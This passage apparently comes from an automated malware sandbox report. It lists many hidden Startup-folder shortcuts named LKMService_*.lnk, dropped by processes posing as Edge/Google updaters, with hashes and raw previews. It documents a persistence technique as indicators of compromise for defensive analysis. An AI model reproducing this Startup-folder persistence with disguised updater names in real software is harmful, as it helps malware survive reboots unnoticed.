.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_b74ce5e43287458c924871cbb9cb6a01.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:14 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.941053319836144
Encrypted:	false
SSDEEP:	24:8pDRPeYl1RogKrA5+W8Ajfv/42egvqyFm:8pDRPr1R8AZjvgTyF
MD5:	FB1E15D6AD22F8D22446FCD18B54A3F1
SHA1:	5EA1C1FDCAC8733EE6FA6039F985A2A74EF872D2
SHA-256:	2BCBFC9756E1D66EEB143EA0AFF26951527FBE104668E570D53D231D96A4E805
SHA-512:	0CE12BD98323128FE0C51EBABFDE81275E8205FC6EE7816681A59D12C13C0B92BE4297460FA0F0C7A47D218A4A43F3FADD507BE6749CEEB1BEA3525FC0C8BD97
Malicious:	false
Preview:	L..................F...."......P...S..KP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....KP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_b93973676d654650883a89137d148cc4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:15 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	modified
Size (bytes):	1185
Entropy (8bit):	4.941395098159575
Encrypted:	false
SSDEEP:	24:8pMRBeYl1RogKrA5+W8Ajfv/42egvqyFm:8pMRBr1R8AZjvgTyF
MD5:	290705DD32C74D7081569C4F8AC9142D
SHA1:	C9217938DDF61187494037186732DDA9FDAAA17B
SHA-256:	852DAB9D7F608C95B35F01B26DDAC00A7F632AAD9B16C54280BA40F4E49F5602
SHA-512:	911F38D314B06DBF9625B5AAA251C7965FC2A6A85EB242EC7207A719CD9ADCA74DF894B82766245D961E970BF232A66B6EE92DE21244DDE41F3408CBAC055376
Malicious:	false
Preview:	L..................F...."......P...9.v(P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...9$u.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_ba265ae44a0846b0b141c88b4de7385c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:25 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.95166074966707
Encrypted:	false
SSDEEP:	24:8pERueYl1RogKrA5+W8Ajfv/42egvqyFm:8pERur1R8AZjvgTyF
MD5:	0A17CE1DE6B828EE78F60473F59D68EA
SHA1:	2161231BE8D03874545A08968D57A741B9C0689E
SHA-256:	AFAD1622EA5D847F7A468B0F46B3BA632E67D4FE5A781E37509EF51872F03F2E
SHA-512:	C0ECE5612D0B46640D4F2A4451898221332222BBE6A92CFEEE7ECAF753A7AD2FC8DCB3B633BFB3DAD11F009D30DB206683541032F55234075170655083853344
Malicious:	false
Preview:	L..................F...."......P....#.QP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P......QP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_bd1d67eb73f3420f923c5e59d72d7657.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:00 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.939154573238011
Encrypted:	false
SSDEEP:	24:8paRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8paRjr1R8AZjvgTyF
MD5:	A5BF6AC37656175FE40A275733D4BB11
SHA1:	E2B40ECA816E8B1F303CB396ACE74BA0807D88E1
SHA-256:	86767E5443E49E71B69B0D85835D42C2161BB80B0632D49EBA3E8274CE89BD3D
SHA-512:	039F0CAD8FAC6900E85160AB898192193BC1C0A1D7067593CECF43F7B6D878159810A0ACF0C60B78E15826D28582FAAFBE82A3921F4F0061B21B47744F1F8464
Malicious:	false
Preview:	L..................F...."......P....5.BP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_bd22ce9b6a094cc699e66f19004446a8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:23 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.945707598686063
Encrypted:	false
SSDEEP:	24:8p4RrCeYl1RogKrA5+W8Ajfv/42egvqyFm:8p4RrCr1R8AZjvgTyF
MD5:	2DD378939F010BBA4DC59B1C5E6E7C1F
SHA1:	0A6EFFD3D9A06AC0DAFF2C4454B698B9DEDA9FE7
SHA-256:	761306B707D9F69A89D793AB2686463E6EB70935745C82F18641C9D68B9459B2
SHA-512:	260BF824246EC2E33513A86973F3D31F718BFA34F645015A7D48EBF0C86C6489B5873529F77CDB43E63FCED73CD64EB8C88AE34734AD3D49C723EB59E7D3226D
Malicious:	false
Preview:	L..................F...."......P......PP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...:.NP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_bf3d70f4207b43b4bc47b0d0a079ad33.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:45 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.935800844587346
Encrypted:	false
SSDEEP:	24:8pKcRkeYl1RogKrA5+W8Ajfv/42egvqyFm:8ptRkr1R8AZjvgTyF
MD5:	FF686073A52F88848A13B272C93D73E6
SHA1:	103FB47AEB89ADC8CD8338A1138BF5BDFE79DBD0
SHA-256:	B5CF56908D65DF5154111DFDF0FE287B063E6ECEF4BA98161890967FD43AC97B
SHA-512:	D66F116E3B10F5F94109FF86404A4C670F6C18E5F2AF4672328998A0FFD13B150E4D739ECBC53C096FC9E2A4003F4685C06264EAEB0FCE82D5125225B2A8D35B
Malicious:	false
Preview:	L..................F...."......P...3ER.P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....W.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_bf9ce0e7dfb04385bf933b54f7f8dcd2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:32 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.935130673618025
Encrypted:	false
SSDEEP:	24:8pwRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pwRjr1R8AZjvgTyF
MD5:	86823DD7BC602C54E6A738927099BC1A
SHA1:	80F540B83B343028D712FA7215359850095FC097
SHA-256:	0C4B5C5553748389B8AED6FC17AC23D2604FFDDB1398D5BD5B74A8B4C509A0E6
SHA-512:	CF466A47BF1981F4BE1B6006E324B618436DBE31C7C53DAA6C613917EFB24024CBD4D8BAC6C63F7E2CB84CFCC864A550E8219A708BDCF876B2DCFB4D347DDED6
Malicious:	false
Preview:	L..................F...."......P...Dp_2P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_c06a49c31e2542078c328f3120042026.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:39 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.941226548842934
Encrypted:	false
SSDEEP:	24:8pmRkeYl1RogKrA5+W8Ajfv/42egvqyFm:8pmRkr1R8AZjvgTyF
MD5:	B728794CC887F66DE2BA2289A410876F
SHA1:	4FDD8036FD74431D39145E27CF3F739C60230EBD
SHA-256:	20DB376DE69A2BDCFB3E3D36699C71A36B2471BA05A5046FB1F8678788CA6A1A
SHA-512:	11EA6814C5CF48BA3F6982C1B19C50D44F19ED7E099B6B54BED38CC02147E6FD75CB93B529290694337C343C0588319C7445AA47D304EB91D7CB1864574D17D1
Malicious:	false
Preview:	L..................F...."......P......P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....W.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_c51579a471264286a0d2c75645c3353a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:04 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.9416950353930975
Encrypted:	false
SSDEEP:	24:8pcRBeYl1RogKrA5+W8Ajfv/42egvqyFm:8pcRBr1R8AZjvgTyF
MD5:	07504FC59DFB9F14B8E97ACFA4C7ECCA
SHA1:	C4EE828E65C7D9D00EBABA0DA67C80D3B4DD03D7
SHA-256:	2FFC327713D456A79A3FA34B69850F90906CFE10230765B243BC357C9B5A5009
SHA-512:	6F37D9A94F6EFB185E7FFA7D87B90B686379C0F62B6777245AA6A58FB5AEF20E46D7F68994A7AB54413F13ED54584EF200702ECF175D856FE312E52518CD4588
Malicious:	false
Preview:	L..................F...."......P...R.."P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...9$u.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_c6f25293ec71400f86d2e01a8de3f46c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:55 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.94236155134753
Encrypted:	false
SSDEEP:	24:8pZRBeYl1RogKrA5+W8Ajfv/42egvqyFm:8pZRBr1R8AZjvgTyF
MD5:	A8598282E8EBA05541CEBA46CE8776EE
SHA1:	D2C5934E5D45B4B70E9727BC119C0759BC80EA55
SHA-256:	C77C38D0E236CB39BA3F142CBCA50CF504155FEFCF1F719579CC531CB3B74FF8
SHA-512:	37A7529D190069061FEBE1E61BB788E7DF1918E978179D566FCAD49D03EF9C6A2DD0164DD220D50619011C1C8F6D1E739AE9C23EFFA9903FB51771805DBB660F
Malicious:	false
Preview:	L..................F...."......P....8[.P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...9$u.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_c6f4a0d196f1431b97c1ca0a54d6a5f6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:47 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.943635623081139
Encrypted:	false
SSDEEP:	24:8ppRheYl1RogKrA5+W8Ajfv/42egvqyFm:8ppRhr1R8AZjvgTyF
MD5:	B461179800C665CB83851EB1CC91B3A4
SHA1:	2389208176AE1256E210F4D376E6F69EFA91943B
SHA-256:	DF7AD4E58D1B557D65DE80474E225C18403438067A8473285A7028DAB70963F3
SHA-512:	EE6C1BC73576458C2C7A3D02F03EC5E7F4718C12940BAE31F8A79DF584F949C56B90AEC839950EE9452176C77C2AFD2506330BD587ABD45C45ED6EC46F2E4929
Malicious:	false
Preview:	L..................F...."......P......_P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P....:@]P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_caed82bb3f0e4a7ea707bc76a6fc3777.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:58 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.940092151201699
Encrypted:	false
SSDEEP:	24:8p+6vRAeYl1RogKrA5+W8Ajfv/42egvqyFm:8pfRAr1R8AZjvgTyF
MD5:	01986FF8D1691E5B5207DE58C3725EDE
SHA1:	5FE962DE575B1EB8AD67AF34F54924D64223F6E2
SHA-256:	DE8C8405548EE40B0B1D011EA8361AEBC241B7899350FADFDA29E54C5C69D653
SHA-512:	FE4FD62BDEA2F672498DD5707C44484A718E28240919D97A462FB7CCAAB3ECAE1F1697444A030BA9CF1338F832D1DE85FFD7F4FBB8D61463EAF7BB133F176A7E
Malicious:	false
Preview:	L..................F...."......P...7..eP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P......dP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_cbebdd2c256b4831ad44ea21342751ad.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:50 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.94260669401036
Encrypted:	false
SSDEEP:	24:8p9RBeYl1RogKrA5+W8Ajfv/42egvqyFm:8p9RBr1R8AZjvgTyF
MD5:	9380204685CBD491E8B9548B77589A60
SHA1:	4E1B566FED5FF356089FEE0898AA58E2ECA7EB41
SHA-256:	30EF8395B5F38A0FC04C1D9B67ED62E1429C19028754B8B3668513CF03DFBC59
SHA-512:	C91EEA30EF1236BF323B35D558A3600202D4EFE04719D6E755D61813D05C9D9FDCF5C5451CE6C0200C1FFC1EEBAA8ED8A811C5902FD2967959988C1F359E9E2A
Malicious:	false
Preview:	L..................F...."......P...' x.P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...9$u.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_cd7d446af3914ebfa3ac1a9d7e1db77a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:13 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.941885383485235
Encrypted:	false
SSDEEP:	24:8pHRBeYl1RogKrA5+W8Ajfv/42egvqyFm:8pHRBr1R8AZjvgTyF
MD5:	C2EDDAC9372D18284CB8F27389BC3D13
